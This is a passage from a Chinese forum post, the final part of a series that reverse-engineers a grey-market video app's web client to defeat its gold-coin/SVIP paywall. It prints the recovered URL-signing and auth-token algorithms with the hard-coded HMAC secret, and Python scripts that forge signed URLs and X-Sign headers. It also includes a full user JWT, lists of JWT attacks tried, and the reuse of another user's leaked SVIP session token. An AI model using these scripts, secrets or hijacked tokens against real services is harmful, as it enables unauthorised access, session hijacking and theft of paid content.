返回列表 发新帖

【多栈实战】某黑产软件全链路逆向实录 (下)

  [复制链接]

42

主题

631

回帖

5895

积分

硕士生

小佬

Rank: 6Rank: 6

金币
6702
好评
157
信誉
260

考神MT论坛新人MT论坛最佳新人

QQ
发表于 2026-6-20 16:18:20 | 显示全部楼层 | 阅读模式  来自 江西
本帖最后由 JiGuro 于 2026-6-20 23:47 编辑

【多栈实战】
某黑产软件全链路逆向实录 (下) ——
从VIP裸链到金币视频JWT泄露越权实战 + 总结


开篇严正声明:本文仅用于学习逆向工程与网络安全相关技术,未掺杂任何不良目的。文中的软件已对其名字、图标及相关敏感信息做了模糊处理,本人也不会提供软件原包样品,内容仅作学习交流使用!同时,本人并未对该软件样本进行任何分享,下载仅做技术研究,均在个人设备上和虚拟设备中进行分析,并已在分析完后删除!

各位久等了,继中篇之后,最后一篇完结篇在今天发布。中篇对小白来说可能难度较高,但是下篇相对来说较为简单,主要学的是思路。建议各位备好花生、瓜子,慢慢细品,看得爽就行
如果还有没看过上、中篇的,可以先去把上篇和中篇看看,再来看本篇思路会更加清晰:
【多栈实战】某黑产软件全链路逆向实录 (上)https://bbs.binmt.cc/thread-167215-1-1.html
【多栈实战】某黑产软件全链路逆向实录 (中)https://bbs.binmt.cc/thread-167438-1-1.html

希望各位能够耐心看完,感谢大家的支持与理解!

一、初探

现在进入正题,我们先梳理一下我们在中篇中干了啥:
中篇从抓包切入,绕过 Flutter 代理证书限制,定位到 protobuf 请求及四重签名校验;通过 Blutter 逆向还原 Dart 层邀请码读取、防重机制与 SHA256 签名算法,并逆向 Web 端获取共享密钥,破解 x-sign 算法,最终编写注册机伪造邀请请求成功批量获取 VIP 会员。

但是,虽然获取了无限 VIP 会员,但是该黑产团伙所运营的平台只有 VIP 会员是不能够浏览平台中的所有流媒体视频的,VIP 会员只能观看 VIP 视频。而平台上的视频中还有一类视频,需要购买金币或者开通 SVIP 会员才能观看,以下简称金币视频
SVIP 会员的获取,只能通过购买的方式,平台方并未举办任何活动,用户也不能通过其他渠道来获取。该篇中,我们主要讲的就是绕过 SVIP 会员的限制,获取金币视频的完整内容。

由于我们在中篇已经知道,软件端和 Web 端并无区别,所以这期我们选择全程在 Web 端进行逆向和分析。

现在,我们先对整个网站进行整体观察,分析网站的技术栈,这是前篇没有讲到的。

我们同样先下载最关键的 index-DnaOsGrt.js ,像上期一样,通过关键词来查找,输入一些常见栈的关键词。



注:这里由于项目构建的原因,与文中的文件名不一样

1、识别构建工具

输入以下命令:

  1. grep -n "modulepreload" index-DnaOsGrt_beauty.js
  2. # 输出 modulepreload polyfill

  3. grep -n "webpackJsonp" index-DnaOsGrt_beauty.js
  4. # 输出 (空) 没有找到!
复制代码


我们可以根据结果找到以下代码:

  1. // Vite 的 modulepreload polyfill
  2. if (t && t.supports && t.supports("modulepreload")) return;
  3. for (const i of document.querySelectorAll('link[rel="modulepreload"]')) n(i);
复制代码


我们可以确认网站使用 Vite 构建。因为文件开头有以上 Vite 的 modulepreload 自动注入代码。

2、识别前端框架


搜索 React 的核心标识:

  1. grep -n "react-dom" index-DnaOsGrt_beauty.js
  2. # 输出: rendererPackageName: "react-dom"

  3. grep -n "createRoot" index-DnaOsGrt_beauty.js
  4. # 输出: 可找到 createRoot API 调用

  5. grep -n "react-jsx-runtime" index-DnaOsGrt_beauty.js
  6. # 输出: 确认使用 JSX 编译模式
复制代码


我们可以得知,网站使用 React 18(使用 createRoot 而非旧的 ReactDOM.render),生产版本(producation.min)。

然后看路由:

  1. grep -n "@remix-run/router" index-DnaOsGrt_beauty.js
  2. # 输出: 版本信息 v1.23.1
复制代码


我们得知是 React Router v6(内含 @remix-run/router v1.23.1)。

3、识别UI组件库

很多网站通常会使用 Ant DesignElement Plus。但这个网站不同,搜索不到任何完整的 UI 框架名称。

  1. # 搜索有没有 Ant Design
  2. grep -n "antd\|ant-design\|@ant-design" index-DnaOsGrt_beauty.js
  3. # 输出: (空)

  4. # 搜索 Radix UI(headless 组件库)
  5. grep -n "radix-ui" index-DnaOsGrt_beauty.js
  6. # 输出: Symbol.for("radix-ui") ← 找到了!

  7. # 搜索 CSS-in-JS 方案
  8. grep -n "data-styled" index-DnaOsGrt_beauty.js
  9. # 输出: 找到 styled-components 运行时

  10. # 搜索图标库
  11. grep -n "lucide-react" index-DnaOsGrt_beauty.js
  12. # 输出: @license lucide-react v0.462.0 - ISC
  13. # 还有大量 wr("Check", ...) / wr("ChevronDown", ...) 图标组件
复制代码


我们可以根据以上结构推断,UI 组件库:不是 Ant Design,而是 Radix UI(headless 组件库)
CSS 方案: styled-components(运行时 CSS-in-JS)
图标库: lucide-react v0.462.0

4、识别跨平台框架

搜索 Capacitor——这是将 Web 应用打包成 iOS/Android 原生 App 的框架:

  1. grep -n "Capacitor" index-DnaOsGrt_beauty.js

  2. 输出了大量 Capacitor 相关的代码:

  3. /*! Capacitor: [url=https://capacitorjs.com/]https://capacitorjs.com/[/url] - MIT License */
  4. CapacitorCookies
  5. CapacitorHttp
  6. CapacitorCustomPlatform
  7. CapacitorPlatforms
  8. CapacitorWebListener
复制代码


这就可以验证我们之前的结论,APP 端和 Web 端,本质上就是一个项目。它使用 Capacitor 将 Web 代码打包成 iOS/Android 原生 App。这就解释了为什么代码中有大量"原生平台 vs Web 平台"的兼容逻辑(比如 base64 编码请求体、模拟 Cookie 机制)

其余不太重要的步骤我已经省略,通过以上步骤,我们可以绘制出完整的技术栈图谱:



分析完网站整体架构,我们就可以看我们今天的主题——流媒体了
我们先打开一个金币视频看看,发现和 VIP 视频相同,只有15秒的试看时间,超过15秒会弹窗:



我们可以看到,该视频有两个链路,一个是普通链路,一个是极速高清,这两个链路其实没什么区别,我们就以普通链路为例进行分析。



我们抓取试看视频的链接,观察链接结构:

https://preview.xxx.vip/api/s3/p2/preview/15763/905b1def4a3873cfd9/preview/index.m3u8?line=ec58802c&t=1781913600&n=0c2bfef7d85b88dadba5ca105ac86781&s=6892807722b9a33a&_nk=1





我们将路径分段解析:



然后,我们再看 M3U8 的源内容:

  1. #EXTM3U
  2. #EXT-X-VERSION:6
  3. #EXT-X-TARGETDURATION:6
  4. #EXT-X-MEDIA-SEQUENCE:0
  5. #EXT-X-PLAYLIST-TYPE:VOD
  6. #EXT-X-INDEPENDENT-SEGMENTS
  7. #EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?_nk=1&line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=02223bd724f46917"
  8. #EXTINF:6,
  9. seg_000000.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=5d7e972e1f5c613f
  10. #EXTINF:3,
  11. seg_000001.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=90373c7f349c5d90
  12. #EXTINF:3,
  13. seg_000002.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=7bba37d0eba748ff
  14. #EXTINF:3,
  15. seg_000003.ts?line=ec58802c&t=1777652408&n=0c2bfef7d85b88dadba5ca105ac86781&s=8392ef35df16d89f
  16. #EXT-X-ENDLIST
复制代码


播放列表中有 4 个分片,总时长 6+3+3+3 = 15 秒,正好是"试看 15 秒"内容。每个分片和密钥文件都有独立的 s= 签名参数。

我们可以看到,切片名是有规律的,以 seg_00000{0+n}.ts 的规律排列。这让我们想起了我们之前的教程:
【网络逆向】TS到视频HLS加密简单逆向实录 (https://bbs.binmt.cc/thread-166021-1-1.html)
这篇文章里讲了一些 M3U8 文件的基础知识,没看过的同学可以先去看一看,之前我们采用 TS 分片穷举的方法,成功获取了完整的视频。

不过经过尝试,seg_000004.ts 及以后的片段都是不存在的,这代表着我们之前的方法失效了,试看视频和完整视频的储存路径本身不一样。

接下来怎么办?很多同学可能束手无策。

我当时很快就想到了,因为该网站 VIP 视频和金币视频都是来自网站自建服务器而不是第三方 CDN ,我们是否可以根据 VIP 完整视频的地址推测出金币视频完整视频的地址呢?
为何会有这种推测?各位注意看文件路径,会发现路径中存在多个 "preview" 字段,那么我们不难猜想,可能修改这些字段的名称为 "svip" 等等特定字段,说不定就能直接获取完整视频。

带着这种思考,我们复用我们中篇的工具,先给自己的账户来几天 VIP 会员:



成功,我们随便打开一个 VIP 视频,此时已经能观看完整版了。我们找到 VIP 完整视频的原链接:

https://vipvod.xxx.vip/api/s3/p2/full/14186/0850ac45ec530238b0/1080p/index.m3u8?line=7aa3f71a&t=1781934913&n=791dd5e3c6fb291b0356278b235134ca&s=99db5b0d9aad89c1&_nk=1


我们发现,链接和参数组成都极为相似,可以说,它们用的应该是同一套后端基础。
将两个链接对比,我们发现,完整版视频和预览版视频的区别在于以下几个参数:

子域名:
将 preview 改成了 vipvod
接口:
将 preview 改成了 full
目录:
将 preview 改成了 1080p

经过大量视频比对,我们可以总结出以下链接结构:
  1. https://{vipvod、norvod或perview}.xxx.vip/api/s3/p2/{full或preview}/{video_id}/{hash}/{quality}/index.m3u8
复制代码

而且,我们还发现一个漏洞,即 VIP 视频无鉴权
当我们把完整 VIP 视频的链接后方有关参数去除,只留下 M3U8 裸链,我们发现还是可以访问,并返回完整视频。

  1. # 直接访问 VIP 的 full M3U8
  2. url = "https://vipvod.xxx.vip/api/s3/p2/full/14186/0850ac45ec530238b0/1080p/index.m3u8"
  3. # 返回 200!
复制代码


也就是说,后面的参数都是没什么用的,看着吓人,实际上只是只纸老虎。

更夸张的是,我们尝试修改路径中的参数:

  1. # 把 mode 从 full 改成任意字符串
  2. url = "https://vipvod.xxx.vip/api/s3/p2/abc/30053/xxxxxxxx/1080p/index.m3u8"
  3. # 仍然 200!

  4. # 子域名改成任意单词
  5. url = "https://freevod.xxx.vip/api/s3/p2/full/30053/xxxxxxxx/1080p/index.m3u8"
  6. # 仍然 200!
复制代码


这说明什么?说明 VIP 视频所在的 CDN 路径完全没有做访问控制。服务器既不校验 URL 签名,也不校验 JWT,甚至不关心路径参数是否合法只要你知道 video_id 和内容哈希 hash,就能直接拿到完整版的 M3U8。
同时,内部的 TS 和 Key 其实也存在这些漏洞。

我们大胆猜测,金币视频链接可能同样存在如上漏洞。
于是,我们尝试将金币视频的链接也改成如下形式:
https://vipvod.xxx.vip/api/s3/p2/full/15763/905b1def4a3873cfd9/1080p/index.m3u8

测试后,服务器竟然返回了签名错误!

HTTP 403
签名错误




同时经过测验,将后方的 index.m3u8 改成 ts ,仍然存在签名校验,这表示 M3U8 和 TS 的校验等级是一样的。

好,这次有意思了。服务器开始校验签名了。
后来梳理,有可能是服务器对 VIP 视频和金币视频做了不同等级的防护,由于金币视频是最高档的视频,所以当然也要动用所有资源对其进行保护。

二、金币视频的 “铜墙铁壁” —— URL Sign

再三决定之后,我还是决定从 M3U8 入手。怎么解决这个问题呢?我进行了如下几种方法的尝试。

1、裸链改参数

既然返回“签名错误”,说明 URL 缺少 s= 参数。我们尝试用 VIP 视频的思路,直接改参数:

https://vipvod.xxx.vip/api/s3/p2/full/{gold_video_id}/{hash}/1080p/index.m3u8?s=xxxxxxxxxxxxxxxx


这里的 s= 是随便写的。结果当然是:

HTTP 403
签名错误

这说明服务器确实在算 s=。

2、重放旧链接

我们又想,也许金币视频和 VIP 视频一样,历史链接的签名不会过期。于是我们从浏览器里抓到一个旧的、已经签名过的金币视频 M3U8 URL,直接用 curl 访问:

  1. curl "https://vipvod.xxx.vip/api/s3/p2/full/xxxxx/xxxxx/1080p/index.m3u8?line=ec58802c&t=1780732800&n=fc7473fb2f35a36c5341f442bf8cb436&s=0995659c27bcac02"
复制代码


结果依然是:

HTTP 403
签名错误


这说明签名是有时效性的。服务器会校验 t=(时间戳)和 n=(nonce),不能简单重放。

3、复用现有算法

我们注意到,链接中的三个参数和我们之前中篇逆向出来的 x-sign 中所包含的几个请求头非常相似,所以我们可以尝试考虑复用现有算法。
但问题是,x-sign 是 32 字节,但是 s 参数却只有 16 个字节,就算更换算法或进行截取,都不匹配。
所以我只能放弃这种方法。

至此,前面三种方法都尝试了,且都没有效果。
理论上,生成 URL 签名的算法都在后端,因为这些链接也是通过 API 接口直接返回的。不过,我抱着试试的心态,回到 JS 代码里,尝试找到相关函数。

直接在 JS 中搜索很难找到(s= 太短),但我们可以观察这些参数的组合模式。从 M3U8 中我们看到的完整参数集合是:

  1. ?line={lineId}&t={timestamp}&n={nonce}&s={signature}
复制代码


回到代码中,搜索这些参数的删除/设置操作可以找到关键位置。在 JS 中有一行非常关键的代码:

  1. yne = ["t", "n", "s", "a", "_st"]
复制代码


搜索 yne 的使用位置,会找到两处核心逻辑:V_() 函数和 mNe() 函数。它们在设置完 URL 参数后都会删除 yne 中列出的旧参数,然后写入新值。其中最关键的一行是:

  1. o.parsedUrl.searchParams.set("s", h)
复制代码


这里的 h 就是 s= 的值。而 h 来自:

  1. h = SQ({
  2.     secret: i.secret,
  3.     mode: o.mode,
  4.     videoId: o.videoId,
  5.     lineIdShort: i.signedLineIdShort,
  6.     variant: o.variant,
  7.     path: o.relPath,
  8.     timestamp: i.timestamp,
  9.     salt: i.salt,
  10.     authToken: u
  11. })
复制代码


找到了!s= 的值由 SQ() 函数生成!
继续在 JS 中搜索 function SQ,找到它的定义:

  1. function SQ(e) {
  2.     const t = sge(e),                              //  构建签名负载字符串
  3.           r = bQ(t, e.secret).toString(),           // HMAC-SHA256 签名
  4.           n = Number.isFinite(e.maxHexLength)
  5.               && (e.maxHexLength ?? 0) > 0
  6.               ? Math.floor(e.maxHexLength ?? 16)
  7.               : 16;
  8.     return r.length > n ? r.slice(0, n) : r         // 截取前 16 个 hex 字符
  9. }
复制代码


sge() 函数负责将参数拼接成待签名的字符串:

  1. function sge(e) {
  2.     const t = e.path.trim().replace(/^\/+/, ""),   // 去掉路径开头的 /
  3.           r = [
  4.               e.mode.trim(),                         // 模式:preview / full
  5.               String(e.videoId),                     // 视频 ID
  6.               e.lineIdShort.trim(),                  // 线路短 ID
  7.               e.variant.trim(),                      // 变体:preview / 1080p / 720p
  8.               t,                                     // 相对路径
  9.               String(e.timestamp)                    // 时间戳
  10.           ],
  11.           n = e.salt?.trim(),                        // 盐值(nonce)
  12.           i = e.authToken?.trim();                   // 授权令牌
  13.     // 可选字段按优先级追加
  14.     return n && i ? r.push(n, i), n && r.push(n), i && r.push(i), r.join("|")
  15. }
复制代码


所以签名负载的格式是:

mode|videoId|lineIdShort|variant|relPath|timestamp|salt|authToken


用 | 分隔各部分,固定 6 个字段 + 可选 2 个字段。例如:

preview|30405|ec58802c|preview|index.m3u8|1777652271|fc7473fb2f35a36c|xxx.yyy


e.secret 作为 HMAC 的密钥。e.secret 其实就是我们中篇分析出的密钥6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za
也就是说,x-sign 和 url sign 实际上使用的是同一个密钥。

现在我们还要解决一个问题,即 authToken 。在 SQ() 的参数中,authToken 如果不是从 URL 的 a= 参数中提取的,就是动态生成的。关键函数是 G_() 和它内部调用的 ige(),我们来逐行分析:

  1. function ige(secret, uid) {
  2.     // uid 格式校验:正整数字符串
  3.     const num = Jpe(uid);    // 如 "999888777"
  4.     const key = secret.trim();
  5.     if (!num || !key) return null;

  6.     // uid → 8 字节大整数
  7.     const uidBytes = rge(num);   
  8.     // rge: 十进制字符串→ 8字节 Uint8Array,big-endian
  9.     // "999888777" → [0x00, 0x00, 0x00, 0x00, 0x3B, 0x9A, 0xC9, 0xFF]

  10.     // secret → 前 8 字节(UTF-8 编码)
  11.     const keyBytes = nge(key);
  12.     // nge: UTF-8 编码后取前 8 字节
  13.     // "6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za" →
  14.     //   [0x36, 0x62, 0x35, 0x68, 0x52, 0x23, 0x37, 0x75]

  15.     // XOR 每个字节
  16.     const xorResult = new Uint8Array(8);
  17.     for (let i = 0; i < 8; i++)
  18.         xorResult[i] = (uidBytes[i] || 0) ^ (keyBytes[i] || 0);

  19.     // XOR 结果 → 16 进制字符串(32 hex chars)
  20.     const hexPart = wQ(xorResult);

  21.     // HMAC-SHA256("playback_auth:{hexPart}", secret)
  22.     const hmac = bQ("playback_auth:" + hexPart, key);
  23.     const authSig = hmac.toString().slice(0, 8);  // 取前 8 个 hex 字符

  24.     // 最终格式:"{hexPart}.{authSig}"
  25.     return hexPart + "." + authSig;
  26. }
复制代码


综合以上分析,我们可以得出视频播放签名的完整公式:



我们可以写一个 Python 脚本来验证签名是否正确,用现有的签名材料,看是否和最终签名匹配,verify_sq_sign.py

  1. def compute_auth_token(secret, uid):
  2.     uid_bytes = struct.pack(">Q", int(uid))
  3.     key_bytes = secret.encode("utf-8")[:8]
  4.     xor = bytes(a ^ b for a, b in zip(uid_bytes, key_bytes))
  5.     hex_part = xor.hex()
  6.     msg = f"playback_auth:{hex_part}".encode()
  7.     sig = hmac.new(secret.encode(), msg, hashlib.sha256).hexdigest()[:8]
  8.     return f"{hex_part}.{sig}"

  9. # SQ 签名是否匹配
  10. sign = compute_sq_sign(SECRET, MODE, VIDEO_ID, LINE_ID, VARIANT,
  11.                        REL_PATH, TIMESTAMP, NONCE, URL_AUTH)
  12. # True!
复制代码


签名匹配!这证明我们的逆向分析没有问题。
我们利用以上算法,我们可以直接生成带签名的完整链接,build_signed_url.py

  1. def compute_auth_token(secret, uid):
  2.     import struct
  3.     uid_bytes = struct.pack(">Q", int(uid))
  4.     key_bytes = secret.encode("utf-8")[:8]
  5.     xor = bytes(a ^ b for a, b in zip(uid_bytes, key_bytes))
  6.     hex_part = xor.hex()
  7.     msg = f"playback_auth:{hex_part}".encode()
  8.     sig = hmac.new(secret.encode(), msg, hashlib.sha256).hexdigest()[:8]
  9.     return f"{hex_part}.{sig}"

  10. auth_token = compute_auth_token(SIGN_SECRET, uid)
  11. url = f"https://vipvod.xxx.xip/api/s3/p2/full/{video_id}/{hash}/1080p/index.m3u8"
  12.       f"?line={line_id}&t={timestamp}&n={nonce}&a={auth_token}"
  13.       f"&_st={session_token}&s={signature}&_nk=1"
复制代码


这次请求,返回的不是“签名错误”了,而是:

HTTP 403
令牌无效


好家伙,还有高手?
看来,我们还需要进一步分析。

三、金币视频的 “铜墙铁壁” —— JWT

看来,金币视频和 VIP 视频之间的区别可不止一个 URL sign ,所谓令牌,指的当然是 JWT
JWT ( JSON Web Token ),在中篇已经提过了一些,在这里简单普及一下:

JWT 一般由三部分组成,用点号( . )分隔:

xxxxxxxxx.yyyyyyyy.zzzzzzzz
       ↑              ↑            ↑  
Header      Payload       Signature

1. Header(头部)

包含令牌类型和签名算法:

  1. {
  2.   "alg": "HS256",  // 算法:HMAC SHA-256
  3.   "typ": "JWT"     // 类型:JWT
  4. }
复制代码

Base64Url 编码后形成第一部分。

2. Payload(载荷)

包含声明(claims),分为三种类型:

标准声明(Reserved Claims)
iss  (issuer):签发者
sub  (subject):主题(用户ID等)
aud  (audience):受众
exp  (expiration time):过期时间(Unix 时间戳)
nbf  (not before):生效时间
iat  (issued at):签发时间
jti  (JWT ID):唯一标识

公共声明: 自定义但建议避免冲突的字段,如  user_id 、 role

私有声明: 双方约定的自定义数据

Base64Url 编码后形成第二部分。

3. Signature(签名)

这是安全性的核心。签名用于验证消息未被篡改,并验证签发者身份。
签名生成公式:

  1. Signature = Base64UrlEncode(
  2.   HMACSHA256(
  3.     Base64Url(Header) + "." + Base64Url(Payload),
  4.     secret
  5.   )
  6. )
复制代码


在简单了解过后,那么我们如何获取 JWT ?直接在浏览器中按 F12 ,打开开发者模式,就可以在服务器返回头中的 session_token 头中看到我们的 JWT



解码后如下:

  1. {
  2.   "alg": "HS256",
  3.   "typ": "JWT"
  4. }

  5. {
  6.   "sid": "a665796c-4e31-4c56-a434-fa1113920c03",
  7.   "uid": 880086,
  8.   "iss": "mediaapps",
  9.   "aud": "user",
  10.   "exp": 1781962109,
  11.   "iat": 1781940509,
  12.   "jti": "360fdbd3-0c2a-4a2d-8c89-82bad0357901"
  13. }
复制代码


因为我们是 VIP 用户,所以这条 JWT 是有效的 VIP JWT。我们把 VIP 用户的 JWT 放到 _st= 参数里,再次请求金币视频

  1. # 使用 VIP 的 session_token
  2. session_token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzaWQiOiJhNjY1Nzk2Yy00ZTMxLTRjNTYtYTQzNC1mYTExMTM5MjBjMDMiLCJ1aWQiOjg4MDA4NiwiaXNzIjoibWVkaWFhcHBzIiwiYXVkIjoidXNlciIsImV4cCI6MTc4MTk2MjEwOSwiaWF0IjoxNzgxOTQwNTA5LCJqdGkiOiIzNjBmZGJkMy0wYzJhLTRhMmQtOGM4OS04MmJhZDAzNTc5MDEifQ.thKLQTg..."

  3. url = build_m3u8_url(info, uid=567931, line_id="ec58802c", timestamp=..., nonce=..., session_token=session_token)
复制代码


这次返回的是:

HTTP 403
此为金币视频,购买后才能观看


这说明:
1、签名是对的。
2、JWT 格式是对的,没有过期。
3、但是 VIP 用户的权限不够,金币视频需要 SVIP 权限。
4、服务器确实会校验金币视频的 JWT。


既然 VIP 的 JWT 不够,我们自然想:能不能伪造一个 SVIP 的 JWT
我们很容易就知道,服务器校验的其实就是 uid ,如果我们通过遍历或者其他方式获取一个 SVIP 账户的 uid ,再通过伪造 JWT ,就可以成功请求。

JWT 的签名是 HS256,也就是 HMAC-SHA256(header.payload, secret)。如果我们知道 secret,就能自己签发任意 JWT
我们先用已知的 API 签名密钥 6b5hR#... 试了一下,发现不匹配。这种情况也很正常,因为 JWT 本身就是确保安全的签名,不可能将私钥放在前端。

我们还尝试了很多常见的 JWT 漏洞:
算法切换攻击:把 alg 改成 none
RS256 公钥伪造:如果服务端支持 RS256,尝试用公钥当密钥
Kid 注入:尝试加入 kid 字段,或 kid 改成已知值或注入路径
修改 uid:尝试直接修改 uid


结局不出意料,全部失败,服务端返回:

HTTP 403
令牌无效


这说明金币视频的 CDN JWT 校验非常严格。

关于 JWT 漏洞,各位可以参考以下这篇文章:
【Web安全】JWT常见安全漏洞总结 (https://jishuzhan.net/article/2056894088054149122)

既然伪造 JWT 不行,我们尝试找密钥。我尝试了:
1、JS 代码中所有可见的类似密钥字符串
2、服务器配置文件泄露
3、GitHub 上是否有该项目的后端源码或模板
4、通过工具对密钥进行爆破


一无所获。这个密钥确实只在服务端。

相信到这里,绝大多数同学都要放弃了

四、柳暗花明...又一劫?

在绝望中,我们开始大量观察金币视频的 URL。我们发现一个奇怪的现象——金币视频的链接可以分成两类

类型 A(占 70% 以上):
https://preview.xxx.vip/api/s3/p2/preview/{video id}/abc123def456/preview/index.m3u8
                                                                                     ↑
                                                                                     哈希段:字母较少,数字较多

类型 B(占 30% 以下):
https://preview.xxx.vip/api/s3/p2/preview/{video id}/ghijklmnopqrstuvwx/preview/index.m3u8
                                                                                    ↑
                                                                                    哈希段:字母较多,数字较少

                                                                                    
从纯技术角度看,哈希段就是一段随机字符串,理论上不应该有规律。但经验丰富的同学就知道,不同类型的内容(上传批次、转码任务、存储桶)往往会产生不同特征的哈希。类型 B 的哈希看起来像是来自另一批资源,或者另一个存储桶。

我们抱着试试看的心态,对类型 B 的金币视频使用 VIP 的裸链方法:

  1. url = "https://preview.xxx.vip/api/s3/p2/preview/{video id}/ghijklmnopqrstuvwx/preview/index.m3u8"
  2. # 不带任何签名参数
复制代码

结果:
HTTP 200 OK
# 返回了完整的金币视频


哇!它居然是裸链开放的!

我们立刻测试了更多类型 B 的金币视频,发现它们大多数都可以裸链访问。而类型 A 则严格校验签名和 JWT

当时我们的第一反应是:类型 B 的金币视频是内部人员疏忽,没有加上鉴权。可能时间不够,也可能这批资源还没正式接入新的鉴权系统。
这个猜测是有道理的。我们检查了类型 B 的 M3U8 内容,想看看它内部的 TSkey 是否也需要签名。

我们下载了类型 B 金币视频的 M3U8 文件,查看它的原始内容。根据 VIP 视频的经验,正常来说,M3U8 应该是这样的:

  1. #EXTM3U
  2. #EXT-X-VERSION:6
  3. #EXT-X-TARGETDURATION:6
  4. #EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?line=...&t=...&n=...&s=..."
  5. #EXTINF:6,
  6. seg_000000.ts?line=...&t=...&n=...&s=...
复制代码


但我们看到的类型 B M3U8 里,每一行 URL 后面都带了一个奇怪的参数:

  1. #EXT-X-KEY:METHOD=AES-128,URI="key_000001.key?line=...&t=...&n=...&s=...&_st=eyJ0eXAiOiJKV1Qi..."
  2. #EXTINF:6,
  3. seg_000000.ts?line=...&t=...&n=...&s=...&_st=eyJ0eXAiOiJKV1Qi...
复制代码


每一行都带了一个 _st= 参数,而且它的值是一个有效的 JWT!

这是什么?
我们立刻解码这个 JWT:

  1. {
  2.   "alg": "HS256",
  3.   "typ": "JWT"
  4. }

  5. {
  6.   "sid": "7b35ca63-ad27-4400-a43a-2eca7d0586ef",
  7.   "uid": 567931,
  8.   "iss": "mediaapps",
  9.   "aud": "user",
  10.   "exp": 1781885492,
  11.   "iat": 1781863892,
  12.   "jti": "e1d6d0cb-79b6-4433-8999-1cb2234eb4b9"
  13. }
复制代码


我们可以看到,这个 JWT 和上文准备伪造的 JWT 格式一模一样。由于这是出现在金币 M3U8 文件中的 JWT ,我们之前的分析又得到 TS 分片和 M3U8 的校验等级相同,我们可以大胆猜测:
这是一个 SVIP 用户的 JWT,且还依然有效!

很有可能,服务器在生成金币视频的 M3U8 时,需要为内部的 TS 和 key 填写 _st 参数。正常的请求会自带用户的 JWT,服务器把它写进去。但如果请求没有带 JWT(比如裸链请求),服务器又必须返回有效视频,那它只能从已生成的 SVIP JWT 池中随机抽取一个,填入 M3U8。
也就是说,这是一个信息泄露 / 溢出漏洞。

正常请求:
  用户请求 M3U8 → 带 JWT_A → 服务器把 JWT_A 填入 TS/key 的 _st 参数 → 返回

裸链请求(无 JWT):
  用户请求 M3U8 → 无 JWT → 服务器为了返回有效视频 → 从 SVIP 池随机取 JWT_SVIP → 填入 → 返回

至此,我们发现了全文中最大也是最关键的漏洞。
我们肯定不能这样结束,因为我们的最终目标是获取所有的金币视频的完整版本。

五、金币视频的 “铜墙铁壁” —— LineID

既然我们有了 SVIP JWT,我们想:能不能用它配合我们之前写的 build_signed_url.py 脚本,去请求类型 A 的严格校验金币视频?
我们修改了脚本里的 session_token

  1. CONFIG = {
  2.     "url_prefix": "https://vipvod.xxx.vip/api/s3/p2/full/15763/905b1def4a3873cfd9/1080p/index.m3u8", // 类型 A 金币视频链接,已修改参数
  3.     "uid": 567931, // 从 SVIP JWT 中解码出来的 uid
  4.     "line_id": "ec58802c",
  5.     "session_token": "eyJ0eXAiOiJKV1Qi...", // 从类型 B M3U8 里提取的 SVIP JWT
  6. }
复制代码


运行脚本,结果:

HTTP 403
错误的 Line ID


WTF,我都做到这一步了,怎么还有问题?

我们这里先要知道,啥是 Line ID
Line ID 就是 CDN 线路 ID。在 URL 中它表现为 ?line= 后面的 8 位十六进制字符串。

经过大量观察,总共有四个已知 Line ID

ec58802c
00f9bbcb
7aa3f71a
cdbbf8ef


这些都是从 VIP 视频、B 类型金币视频或 preview 视频里总结出来的。但 A 类型金币视频可能使用不同的线路 ID。

我们在 build_signed_url.py 里逐个尝试这四个 Line ID

  1. for line_id in ["ec58802c", "00f9bbcb", "7aa3f71a", "cdbbf8ef"]:
  2.     CONFIG["line_id"] = line_id
  3.     # 运行 build_m3u8_url 并请求
复制代码


结果:全部返回错误的 Line ID

这说明:
1、A 类型金币视频有独立的线路 ID
2、或者线路 ID 不是随机的,而是和视频 ID、内容哈希绑定的。
3、或者服务器对这条请求有其他校验。


同时,另一个让我们困惑的现象是:在浏览器的正常请求中,网页从来不会在 M3U8 URL 里加上 _st 参数只在 TS 和 key 的 URL 里出现 _st。这说明 _st 参数可能是 CDN 内部转发时使用的,而不是前端主动添加的
也就是说,我们之前用 build_signed_url.py 手动拼接 _st 参数请求 M3U8 的方式,可能不符合服务器的预期流程。服务器看到 M3U8 请求带了 _st,可能觉得“这不合理”,于是返回错误的 Line ID——这个错误信息可能只是一个通用的拒绝借口。

六、破局

难道,我们前面的努力都白费了吗?
既然直接构造 M3U8 URL 走不通,我们决定回到浏览器控制台,看看网页到底是怎么获取金币视频播放地址的。
我们在 DevTools 的 Network 面板里过滤,发现了一个关键 API:

GET /api/videos/{video_id}/preview
Host: xxx.cloudfront.net


这个接口返回视频的播放信息,包括 M3U8 URL、线路 ID。它用于试看视频的获取。



我们仍然从 VIP 视频中寻找经验,发现当请求完整视频时,后方的 preview 会被改成 playback ,而接口返回视频的播放信息,包括 M3U8 URL、线路 ID、JWT 等。它用于完整视频的获取。



我们观察这个接口的请求头,发现它需要:

X-Sign:API 请求签名。
Authorization: Bearer <JWT>:用户身份 JWT。

而这两样东西,我们正好都有!
X-Sign 可以用我们中篇已经逆向出来的 API 签名算法生成。
JWT 可以用我们手里通过类型 B 金币视频所泄露的 SVIP 用户 JWT


于是我们写了 repro_playback.py 脚本。核心逻辑是:

  1. import argparse
  2. import base64
  3. import hashlib
  4. import secrets
  5. import requests
  6. import time
  7. from urllib.parse import urlparse, parse_qs

  8. SIGN_SECRET = "6b5hR#7uVhJPZT1zAgA26fPSyx9Zh!Za"

  9. def compute_sign(method, path, query, timestamp, device_id):
  10.     strip = path.replace("/api", "", 1) if path.startswith("/api") else path
  11.     raw = "\n".join([SIGN_SECRET, method.upper(), strip, query or "",
  12.                      str(timestamp), device_id])
  13.     return hashlib.sha256(raw.encode()).hexdigest()

  14. def main():
  15.     video_id = 30053
  16.     endpoint = "playback"
  17.     jwt_token = DEFAULT_JWT
  18.     bearer = f"Bearer {jwt_token}"
  19.     base_url = f"https://xxx.cloudfront.net/api/videos/{video_id}/{endpoint}"

  20.     device_id = secrets.token_hex(16)
  21.     path = f"/api/videos/{video_id}/{endpoint}"
  22.     nonce = secrets.token_hex(16)
